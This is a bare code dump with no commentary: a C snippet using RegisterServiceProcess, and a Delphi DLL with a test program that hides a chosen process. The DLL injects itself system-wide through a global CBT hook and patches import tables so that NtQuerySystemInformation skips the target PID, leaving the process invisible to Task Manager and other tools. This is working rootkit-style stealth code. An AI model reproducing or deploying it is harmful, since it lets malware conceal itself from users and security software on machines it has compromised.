#include
#include
int main()
{

HMODULE krn = LoadLibrary("kernel32.dll");
void* rsp = (void*)GetProcAddress(krn, "RegisterServiceProcess");
DWORD pid = GetCurrentProcessId();
if(rsp) {
__asm {
push pid
xor eax, eax
push eax
call rsp
pop eax
pop eax
}
}
}

push pid
xor eax, eax
push eax
call rsp
pop eax
pop eax

library hide;

uses
Windows,
SysUtils,
ImageHlp,
TlHelp32;

type SYSTEM_INFORMATION_CLASS = (
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
SystemInstructionEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,
SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation,
SystemNotImplemented10,
SystemNotImplemented11,
SystemInvalidInfoClass2,
SystemInvalidInfoClass3,
SystemTimeZoneInformation,
SystemLookasideInformation,
SystemSetTimeSlipEvent,
SystemCreateSession,
SystemDeleteSession,
SystemInvalidInfoClass4,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemAddVerifier,
SystemSessionProcessesInformation
);

_IMAGE_IMPORT_DESCRIPTOR = packed record
 case Integer of
  0:(
   Characteristics: DWORD);
  1:(
   OriginalFirstThunk:DWORD;
   TimeDateStamp:DWORD;
   ForwarderChain: DWORD;
   Name: DWORD;
   FirstThunk: DWORD);
  end;
IMAGE_IMPORT_DESCRIPTOR=_IMAGE_IMPORT_DESCRIPTOR;
PIMAGE_IMPORT_DESCRIPTOR=^IMAGE_IMPORT_DESCRIPTOR;

PFARPROC=^FARPROC;

procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule);
var     ulSize: ULONG;
  pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
   pszModName: PChar;
       pThunk: PDWORD; ppfn:PFARPROC;
       ffound: LongBool;
      written: DWORD;
begin
pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
 if pImportDesc = nil then exit;
 while pImportDesc.Name<>0 do
  begin
   pszModName := PChar(hmodCaller + pImportDesc.Name);
    if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break;
   Inc(pImportDesc);
  end;
 if (pImportDesc.Name = 0) then exit;
pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
 while pThunk^<>0 do
  begin
   ppfn := PFARPROC(pThunk);
   fFound := (ppfn^ = pfnCurrent);
    if (fFound) then
     begin
      VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,written);
      WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written);
      exit;
     end;
   Inc(pThunk);
  end;
end;

var
addr_NtQuerySystemInformation: Pointer;
mypid: DWORD;
fname: PCHAR;
mapaddr: PDWORD;
hideOnlyTaskMan: PBOOL;

function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall;
label onceagain, getnextpidstruct, quit, fillzero;
asm
push ReturnLength
push SystemInformationLength
push SystemInformation
push dword ptr SystemInformationClass
call dword ptr [addr_NtQuerySystemInformation]
or eax,eax
jl quit
cmp SystemInformationClass, SystemProcessesAndThreadsInformation
jne quit

onceagain:
mov esi, SystemInformation

getnextpidstruct:
mov ebx, esi
cmp dword ptr [esi],0
je quit
add esi, [esi]
mov ecx, [esi+44h]
cmp ecx, mypid
jne getnextpidstruct
mov edx, [esi]
test edx, edx
je fillzero
add [ebx], edx
jmp onceagain

fillzero:
and [ebx], edx
jmp onceagain

quit:
mov Result, eax
end;

procedure InterceptFunctions;
var hSnapShot: THandle;
        me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
 if hSnapshot=INVALID_HANDLE_VALUE then exit;
  try
   ZeroMemory(@me32,sizeof(MODULEENTRY32));
   me32.dwSize:=sizeof(MODULEENTRY32);
   Module32First(hSnapShot,me32);
    repeat
     ReplaceIATEntryInOneMod('ntdll.dll',addr_NtQuerySystemInformation,@MyNtQuerySystemInfo,me32.hModule);
    until not Module32Next(hSnapShot,me32);
  finally
   CloseHandle(hSnapShot);
  end;
end;

procedure UninterceptFunctions;
var hSnapShot: THandle;
        me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
 if hSnapshot=INVALID_HANDLE_VALUE then exit;
 try
  ZeroMemory(@me32,sizeof(MODULEENTRY32));
  me32.dwSize:=sizeof(MODULEENTRY32);
  Module32First(hSnapShot,me32);
   repeat
    ReplaceIATEntryInOneMod('ntdll.dll',@MyNtQuerySystemInfo,addr_NtQuerySystemInformation,me32.hModule);
   until not Module32Next(hSnapShot,me32);
 finally
  CloseHandle(hSnapShot);
 end;
end;


var HookHandle: THandle;

function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;
begin
Result:=0;
end;

procedure InstallHook; stdcall;
begin
HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;

var hFirstMapHandle:THandle;

function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL; stdcall;
var addrMap: PDWORD;
      ptr2: PBOOL;
begin
mypid:=0;
result:=false;
hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,8,'NtHideFileMapping');
 if hFirstMapHandle=0 then exit;
addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8);
 if addrMap=nil then
  begin
   CloseHandle(hFirstMapHandle);
   exit;
  end;
addrMap^:=pid;
ptr2:=PBOOL(DWORD(addrMap)+4);
ptr2^:=HideOnlyFromTaskManager;
UnmapViewOfFile(addrMap);
InstallHook;
result:=true;
end;

exports
HideProcess;

var
hmap: THandle;

procedure LibraryProc(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then
 if mypid > 0 then
  UninterceptFunctions()
else
 CloseHandle(hFirstMapHandle);
end;

begin
hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideFileMapping');
 if hmap=0 then exit;
 try
  mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0);
   if mapaddr=nil then exit;
  mypid:=mapaddr^;
  hideOnlyTaskMan:=PBOOL(DWORD(mapaddr)+4);
   if hideOnlyTaskMan^ then
    begin
     fname:=allocMem(MAX_PATH+1);
     GetModuleFileName(GetModuleHandle(nil),fname,MAX_PATH+1);
      if not (ExtractFileName(fname)='taskmgr.exe') then exit;
    end;
  InterceptFunctions;
 finally
  UnmapViewOfFile(mapaddr);
  CloseHandle(Hmap);
  DLLProc:=@LibraryProc;
 end;
end.

Program Pro;
uses Windows;

function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall; external 'hide.dll';

begin
MessageBox(0,'My NOT INVISIBLE!','NO',0);
HideProcess(GetCurrentProcessId, false); //это спрячет текущий процесс
MessageBox(0,'My is INVISIBLE!','Ok',0);

End.